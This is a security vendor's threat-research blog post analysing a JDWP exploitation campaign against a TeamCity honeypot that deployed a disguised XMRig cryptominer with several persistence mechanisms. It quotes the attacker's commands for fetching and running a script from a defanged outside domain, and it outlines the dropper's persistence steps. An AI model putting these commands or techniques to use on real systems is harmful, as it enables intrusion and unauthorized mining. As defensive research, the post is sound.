Introduction

During routine monitoring, the Wiz Research Team observed an exploitation attempt targeting one of our honeypot servers running TeamCity, a popular CI/CD tool. Our investigation determined that the attacker had gained remote code execution by abusing an exposed Java Debug Wire Protocol (JDWP) interface, ultimately deploying a cryptomining payload and setting up multiple persistence mechanisms.

We found this attack interesting due to a few key points:

• Fast Exploitation
  Malware was deployed within just a few hours of exposing the vulnerable machine. We observed this rapid turnaround across multiple attempts.

• Customized XMRig payload
  The attacker used a modified version of XMRig with a hardcoded configuration, allowing them to avoid suspicious command-line arguments that are often flagged by defenders.

• Stealthy crypto-mining
  The payload used mining pool proxies to hide their cryptocurrency wallet address, thereby preventing investigators from pivoting on it.

What is JDWP?

JDWP, short for Java Debug Wire Protocol, is a standard feature in the Java platform, designed to help developers debug live applications. It allows remote inspection of threads, memory, and execution flow without restarting the application. To enable it, developers typically start the JVM with a flag like the one below. This setup tells the JVM to listen for debugger connections on port 5005 and accept incoming connections on all interfaces.

However, JDWP does not implement authentication or access control by default, and exposing it to the Internet is considered a misconfiguration. When exposed, it becomes a high-risk entry point, granting attackers full control over the running Java process. In this case, the misconfiguration allowed the adversary to inject and execute arbitrary commands, establish persistence, and execute malware.

While JDWP (Java Debug Wire Protocol) is not enabled by default in most Java applications, it is commonly used in development and debugging environments. Many popular applications automatically start a JDWP server when run in debug mode, often without making the risks obvious to the developer. If improperly secured or left exposed, this can open the door to remote code execution (RCE) vulnerabilities.

Examples of applications that may launch a JDWP server when in debug mode include:

• TeamCity (a CI/CD server developed by JetBrains)

• Jenkins (a popular CI tool)

• Selenium Grid (a distributed browser testing platform)

• Elasticsearch (Java-based search engine)

• Quarkus (cloud-native Java framework)

• Spring Boot (Java framework)

• Apache Tomcat (an open-source web server)

JDWP Targeting

As previously mentioned, we observed extremely rapid exploitation of exposed JDWP instances. In our tests, after deploying a machine with an exposed JDWP server, our sensors detected exploitation attempts within just a few hours, across multiple instances. This demonstrates that JDWP is a highly targeted service. To support this, we used GreyNoise’s tag-based search feature and found over 6,000 unique IP addresses scanning for JDWP endpoints in the past 90 days.

Attack Flow

During our investigation we observed multiple JDWP exploitation attempts originating from different actors, but for simplicity we decided to focus this blog on a single incident which serves as a good example of the activity as a whole. Note that the indicators of compromise (IoCs) included in the appendix relate to all observed activity, not just this particular incident.

The attacker began by scanning for open JDWP ports across the internet. One of these scans reached our honeypot server, which was exposing JDWP on port 5005. The attacker then sent a JDWP-Handshake request to confirm the interface was active and establish a JDWP session. The JVM responded with version details and a list of loaded classes, confirming that JDWP was indeed exposed and fully interactive.

Above is a screenshot from Wireshark showing the JDWP-Handshake protocol.

From there, the attacker followed a structured sequence to achieve remote code execution, likely using a variant of jdwp-shellifier with additional features. They queried the JVM for available classes and methods, then located java.lang.Runtime and its associated getRuntime() and exec() methods.

The exploitation steps involved:

1. Creating Java strings containing system commands such as:

   1. curl -o /tmp/logservice.sh -s <https://canonicalconnect[.]com/logservice.sh>

   2. bash /tmp/logservice.sh

2. Invoking Runtime.getRuntime() using INVOKESTATICMETHOD_SIG

3. Passing the command string to exec() using INVOKEMETHOD_SIG

Above is a screenshot from Wireshark showing the JDWP packets that contained the exploitation commands

These steps were repeated using different combinations of commands (wget, sh, etc.) to download and launch the attack payload.

Under the hood, the attacker issued low-level JDWP instructions including CreateString, get_all_classes, get_methods, and method invocation signatures. They operated entirely through JDWP’s protocol, without needing access to the application itself.

logservice.sh

logservice.sh is a dropper script with the following functionality:

• Kill competing miners or any high‐CPU processes (anything using over 60% CPU except a small allowlist of processes).

• Drop an XMRig miner sourced from  https[://]awarmcorner[.]world/silicon<architecture>blueprints.png into ~/.config/logrotate and execute it.

• Install persistent hooks into every shell startup file (.bashrc, .zshrc, etc.), rc.local, systemd, and multiple cron‐jobs, ensuring the payload is re-fetched and re-executed on every shell login, reboot, or scheduled interval.

• Delete itself on exit, leaving very little trace.

logrotate binary

As previously noted, the attacker deployed the malicious payload under the name logrotate, likely in an effort to blend in with the legitimate system utility of the same name and avoid raising suspicion. In reality, this logrotate binary is a modified variant of XMRig, a legitimate open-source cryptocurrency miner that, unsurprisingly, continues to be a favorite among threat actors for unauthorized crypto-mining. Being open-source, XMRig offers attackers the convenience of easy customization, which in this case involved stripping out all command-line parsing logic and hardcoding the configuration. This tweak not only simplifies deployment but also allows the payload to mimic the original logrotate process more convincingly.

Persistence Mechanisms

After gaining execution, the attacker set up multiple persistence mechanisms. We observed them using a combination of old-school boot scripts, modern systemd services, cron jobs, and shell configuration files:

RC Local

They started by checking the Linux distribution and modifying the appropriate boot file:

Systemd Service

Next, the attacker dropped a fake systemd service that disguised itself as logrotate. In reality, it simply pointed to their malicious binary and was set to restart continuously:

Shell Startup Scripts

To trigger the payload on terminal login or logout, they appended it to user-specific shell config files:

Cron Jobs

Finally, the attacker created cron jobs across multiple locations and time intervals.

How can Wiz help?

Detection 

Wiz can help detect attacks like the one described in this blog in multiple ways: 

1. Our agentless malware detection detects these types of evolving threats using our proprietary YARA rules catalog.

2. The Wiz Runtime Sensor detects events and behaviors associated with this threat and similar ones, alerting you on every step of the attack: from the initial JDWP exploitation, to modifications in crontab and system services, and ultimately, cryptomining activity.